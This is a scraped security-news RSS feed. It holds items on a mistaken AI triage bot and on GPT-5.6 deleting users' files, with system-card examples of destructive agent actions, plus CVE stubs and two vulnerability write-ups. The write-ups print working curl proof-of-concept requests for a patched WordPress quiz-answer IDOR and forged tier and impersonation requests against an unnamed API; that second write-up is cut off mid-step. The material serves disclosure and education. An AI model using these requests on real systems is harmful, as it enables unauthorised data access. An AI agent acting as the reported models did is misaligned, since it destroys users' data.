<pubDate>Fri, 17 Jul 2026 16:18:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[1Password partnership will mean Claude will never see the secrets or load them into its own memory.]]></content:encoded>
</item>
<item>
<title><![CDATA[It’s past time to end AI-based automated customer responses]]></title>
<description><![CDATA[An automated chatbot working for Anthropic this month shot down a Wiz researcher’s security hole report, saying that it “falls outside of the Claude Code threat model.” That was news to the security researchers at Wiz. 



It also turned out to be news to Anthropic execs, who had a very different...]]></description>
<link>https://tsecurity.de/de/3675876/it-nachrichten/its-past-time-to-end-ai-based-automated-customer-responses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675876/it-nachrichten/its-past-time-to-end-ai-based-automated-customer-responses/</guid>
<pubDate>Fri, 17 Jul 2026 13:18:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An automated chatbot working for Anthropic this month shot down a Wiz researcher’s security hole report, saying that it “falls outside of the Claude Code threat model.” That was news to the security researchers at <a href="https://www.wiz.io/" target="_blank" rel="noreferrer noopener">Wiz</a>. </p>



<p class="wp-block-paragraph">It also turned out to be news to Anthropic execs, who had a very different view. </p>



<p class="wp-block-paragraph">In reality, Anthropic was one of many victims of the hole — <a href="https://www.csoonline.com/article/4195235/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop.html" target="_blank">including Amazon, Google and Cursor, among others</a>. But what makes the incident so bizarre is that, far from dismissing the threat, Anthropic had detected it before the security researchers and had even patched it before the researchers alerted them. </p>



<p class="wp-block-paragraph">As these AI bots are wont to do, the bot didn’t merely reject the request. It confidently explained its rationale, even though its reasoning was wrong. </p>



<p class="wp-block-paragraph">“This falls outside our current threat model,” the chatbot said, <a href="https://www.wiz.io/blog/ghostapproval-a-trust-boundary-gap-in-ai-coding-assistants" target="_blank" rel="noreferrer noopener">according to a report by Wiz</a>. “When the user first starts Claude Code in a directory, they must confirm that they trust the directory prior to starting the session. The scenario you describe involves a user explicitly confirming a permission prompt inside of a directory containing a malicious symlink, which falls outside of the Claude Code threat model.”</p>



<p class="wp-block-paragraph">That researchers said Anthropic management later clarified the situation: “The symlink warning in the Edit/Write permission dialog shipped in v2.1.32 (Feb 5, 2026), nine days before this report was submitted to us. It was added as part of proactive security hardening based on internal review. The decline to comment was an autoreply from our triage system.” </p>



<p class="wp-block-paragraph">An autoreply from our triage system? How many other make-believe replies did this system send? And what level of damage is Anthropic exposing itself to? </p>



<p class="wp-block-paragraph">This is not just an Anthropic issue. There have been numerous enterprise bot glitches in communications  with customers. Some of my favorites include:</p>



<ul class="wp-block-list">
<li>Bots that chose on their own to cancel customers. (This actually was another Anthropic incident.) In this case, <a href="https://www.computerworld.com/article/4108169/using-ai-to-automatically-cancel-customers-not-a-smart-move.html">an Anthropic bot cancelled the AI account of a Swiss company</a> that depended on the service. A lawyer got involved and the account was restored within a day — minus 80% of the data. Oops.</li>



<li>A Cursor bot decided to log customers off when they switched devices, which it shouldn’t have done. The bot then emailed customers and lied that, “The logouts were expected behavior under a new login policy.” <a href="https://www.yahoo.com/news/customer-support-ai-went-rogue-120000474.html">A Fortune story</a> detailed how “the news spread rapidly in the developer community, leading to reports of users cancelling their subscriptions, while some complained about the lack of transparency. Cofounder Michael Truell finally posted on Reddit acknowledging the ‘incorrect response from a front-line AI support bot’ and said it was investigating a bug that logged users out. ‘Apologies about the confusion here,’ he wrote.”</li>



<li>Voters in Scottish elections were<a href="https://www.theguardian.com/technology/2026/may/20/ai-chatbots-chatgpt-replika-grok-gemini-misinformation-scottish-election-demos" target="_blank" rel="noreferrer noopener"> tricked by government AI bots</a> that “variously invented fictitious scandals, gave the wrong date for the election, claimed wrongly that voters in Scottish elections needed ID at polling stations and placed candidates in the wrong contests.”</li>



<li>And let’s not forge <a href="https://cybermaniacs.com/news/air-canada-chatbot-case-when-ai-speaks-for-the-company#:~:text=As%2520The%2520Guardian%2520reported%252C%2520the%2520tribunal%2520found,information%2520about%2520the%2520airline's%2520bereavement%2520fare%2520policy" target="_blank" rel="noreferrer noopener">the classic story about the Air Canada bot</a>, where “Air Canada was ordered to compensate a customer after its chatbot gave incorrect information about the airline’s bereavement fare policy. The tribunal found that Air Canada was responsible for information provided through its website, including the chatbot.”</li>
</ul>



<p class="wp-block-paragraph">Let’s be clear, here: Bots should be limited to relaying only pre-approved scripts. </p>



<p class="wp-block-paragraph">Generative AI allows for far greater chatbot sophistication, but that also means the chance of far greater errors. This is untenable in any business function. And when the app is pretending to be a human — and interacting with human customers — it’s even more unacceptable.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]></title>
<description><![CDATA[OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”



Reports of the flagship LLMs deleting files emerged shortly after the company launc...]]></description>
<link>https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 12:03:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”</p>



<p class="wp-block-paragraph">Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer <a href="https://x.com/mattshumer_/status/2075657271401390161" target="_blank" rel="noreferrer noopener">taking to X</a> to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.</p>



<p class="wp-block-paragraph">Just days later, software engineer Bruno Lemos <a href="https://x.com/brunolemos/status/2076769881534398974">posted on X</a> that the same model had deleted his entire production database.</p>



<p class="wp-block-paragraph">In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, <a href="https://x.com/thsottiaux/status/2077630111499882637" target="_blank" rel="noreferrer noopener">wrote on X</a> that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without <a href="https://learn.chatgpt.com/docs/sandboxing/auto-review" target="_blank" rel="noreferrer noopener">auto review</a> being enabled.”</p>



<p class="wp-block-paragraph">In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”</p>



<p class="wp-block-paragraph">Ironically, OpenAI’s explanation also aligns with findings in its own <a href="https://deploymentsafety.openai.com/gpt-5-6/evaluations-with-challenging-prompts" target="_blank" rel="noreferrer noopener">GPT-5.6 system model card</a>, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.</p>



<p class="wp-block-paragraph">“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.</p>



<p class="wp-block-paragraph">OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”</p>



<p class="wp-block-paragraph">The system card also documents examples of the said behavior, particularly related to deletion.</p>



<p class="wp-block-paragraph">In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.</p>



<p class="wp-block-paragraph">Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.</p>



<p class="wp-block-paragraph">The company, however, according to Sottiaux, is taking steps to mitigate the risk.</p>



<p class="wp-block-paragraph">“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.</p>



<p class="wp-block-paragraph">“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”</p>



<p class="wp-block-paragraph">OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.</p>



<p class="wp-block-paragraph">In July 2025, an AI coding agent from Replit <a href="https://x.com/jasonlk/status/1946069562723897802">deleted a live production database</a> belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.</p>



<p class="wp-block-paragraph">More recently, in April 2026, a Cursor AI coding agent <a href="https://x.com/lifeofjer/status/2048103471019434248">deleted PocketOS’s production database</a> and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47082 | cyrusimap Cyrus IMAP up to 3.12.2 Vacation permission (WID-SEC-2026-2387)]]></title>
<description><![CDATA[A vulnerability was found in cyrusimap Cyrus IMAP up to 3.12.2. It has been declared as critical. The affected element is an unknown function of the component Vacation. Such manipulation leads to permission issues.

This vulnerability is documented as CVE-2026-47082. The attack can be executed re...]]></description>
<link>https://tsecurity.de/de/3675667/sicherheitsluecken/cve-2026-47082-cyrusimap-cyrus-imap-up-to-3122-vacation-permission-wid-sec-2026-2387/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675667/sicherheitsluecken/cve-2026-47082-cyrusimap-cyrus-imap-up-to-3122-vacation-permission-wid-sec-2026-2387/</guid>
<pubDate>Fri, 17 Jul 2026 11:57:09 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/cyrusimap:cyrus_imap">cyrusimap Cyrus IMAP up to 3.12.2</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. The affected element is an unknown function of the component <em>Vacation</em>. Such manipulation leads to permission issues.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-47082">CVE-2026-47082</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47084 | cyrusimap Cyrus IMAP up to 3.12.2 ACL permission (WID-SEC-2026-2387)]]></title>
<description><![CDATA[A vulnerability labeled as very critical has been found in cyrusimap Cyrus IMAP up to 3.12.2. Affected is an unknown function of the component ACL. The manipulation results in permission issues.

This vulnerability is known as CVE-2026-47084. It is possible to launch the attack remotely. No explo...]]></description>
<link>https://tsecurity.de/de/3675664/sicherheitsluecken/cve-2026-47084-cyrusimap-cyrus-imap-up-to-3122-acl-permission-wid-sec-2026-2387/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675664/sicherheitsluecken/cve-2026-47084-cyrusimap-cyrus-imap-up-to-3122-acl-permission-wid-sec-2026-2387/</guid>
<pubDate>Fri, 17 Jul 2026 11:57:05 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">very critical</a> has been found in <a href="https://vuldb.com/product/cyrusimap:cyrus_imap">cyrusimap Cyrus IMAP up to 3.12.2</a>. Affected is an unknown function of the component <em>ACL</em>. The manipulation results in permission issues.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-47084">CVE-2026-47084</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47086 | cyrusimap Cyrus IMAP up to 3.12.2 URLAUTH Token permission (WID-SEC-2026-2387)]]></title>
<description><![CDATA[A vulnerability was found in cyrusimap Cyrus IMAP up to 3.12.2. It has been rated as problematic. The impacted element is an unknown function of the component URLAUTH Token Handler. Performing a manipulation results in permission issues.

This vulnerability is reported as CVE-2026-47086. The atta...]]></description>
<link>https://tsecurity.de/de/3675663/sicherheitsluecken/cve-2026-47086-cyrusimap-cyrus-imap-up-to-3122-urlauth-token-permission-wid-sec-2026-2387/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675663/sicherheitsluecken/cve-2026-47086-cyrusimap-cyrus-imap-up-to-3122-urlauth-token-permission-wid-sec-2026-2387/</guid>
<pubDate>Fri, 17 Jul 2026 11:57:04 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/cyrusimap:cyrus_imap">cyrusimap Cyrus IMAP up to 3.12.2</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. The impacted element is an unknown function of the component <em>URLAUTH Token Handler</em>. Performing a manipulation results in permission issues.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-47086">CVE-2026-47086</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero Credentials, Full Access: Inside a Complete Authorization Failure]]></title>
<description><![CDATA[Bounty Case Files #01How multiple trust-boundary failures allowed anonymous access to premium functionality in a production APIBy Ahmed Waleed | Bug Bounty HunterTL;DRWhile assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.By chaining mu...]]></description>
<link>https://tsecurity.de/de/3675345/hacking/zero-credentials-full-access-inside-a-complete-authorization-failure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675345/hacking/zero-credentials-full-access-inside-a-complete-authorization-failure/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:35 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Bounty Case Files #01</h3><p><em>How multiple trust-boundary failures allowed anonymous access to premium functionality in a production API</em></p><p><strong>By </strong><a href="https://www.linkedin.com/in/0x-elfateh/"><strong>Ahmed Waleed</strong> </a><em>| Bug Bounty Hunter</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZT6QyTKTXT-HRslY4EAt4A.png"></figure><h3>TL;DR</h3><p>While assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.</p><p>By chaining multiple trust-boundary failures, an unauthenticated attacker could:</p><ul><li><em>Access premium enterprise functionality without authentication.</em></li><li>Impersonate arbitrary users</li><li>Read private conversation history</li><li>Escalate privileges through client-controlled authorization metadata.</li><li>Create, modify, and delete server-side resources</li></ul><p>To respect responsible disclosure, all identifying information has been removed.</p><h3>Target Overview</h3><p>The target was a public AI-powered enterprise platform exposing a documented REST API.</p><p>During reconnaissance I discovered several publicly accessible endpoints:</p><ul><li>/docs</li><li>/redoc</li><li>/openapi.json</li></ul><p>The OpenAPI specification described every available endpoint together with request schemas.</p><p>One thing immediately stood out: the API defined no authentication mechanism whatsoever — no API keys, no OAuth, no Bearer tokens, and no securitySchemes in the OpenAPI specification.</p><h3>Recon</h3><p>Rather than fuzzing hundreds of endpoints, I started by understanding how the application expected clients to communicate.</p><p>The Swagger interface exposed the complete API surface, allowing quick identification of authentication requirements — or in this case, the absence of them. That observation became the starting point for the entire assessment.</p><h3>Technical Walkthrough</h3><p>All requests below were run from a clean browser session with zero credentials, against only a test conversation and a synthetic (non-existent) email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*iFz52SiCWmXCxndPz_Ygog@2x.jpeg"></figure><p><strong>1. Create a conversation — no auth required:</strong></p><pre>POST /conversations<br>Content-Type: application/json <br>{}<br><br><br>→ 200 OK<br>{"status":"success","conversation_id":"conv_...","created_at":"..."}</pre><p><strong>2. Run an enterprise-tier query by just claiming to be enterprise:</strong></p><pre>POST /process<br>Content-Type: application/json<br><br>{<br>  "message": "Show me top brands in TVs on Amazon US by market share",<br>  "conversation_id": "conv_...",<br>  "user_metadata": {<br>    "user_tier": "enterprise",<br>    "permitted_categories": ["All"],<br>    "allowed_retailers": ["All"]<br>  }<br>}<br><br>→ 200 OK — real production analytics data returned, e.g.:<br>Brand A - 35.54% market share - $36.9M GMV - 47,832 units<br>Brand B - 17.81% market share - $18.5M GMV -  8,859 units<br>Brand C -  7.77% market share -  $8.1M GMV - 43,218 units<br></pre><p>The response even included an internal data-source citation confirming it was pulling from the platform’s proprietary intelligence pipeline — not a demo/sandboxed dataset.</p><p><strong>3. Impersonate any customer by email:</strong></p><pre>GET /conversations?user_email=&lt;any-email&gt;<br><br>→ 200 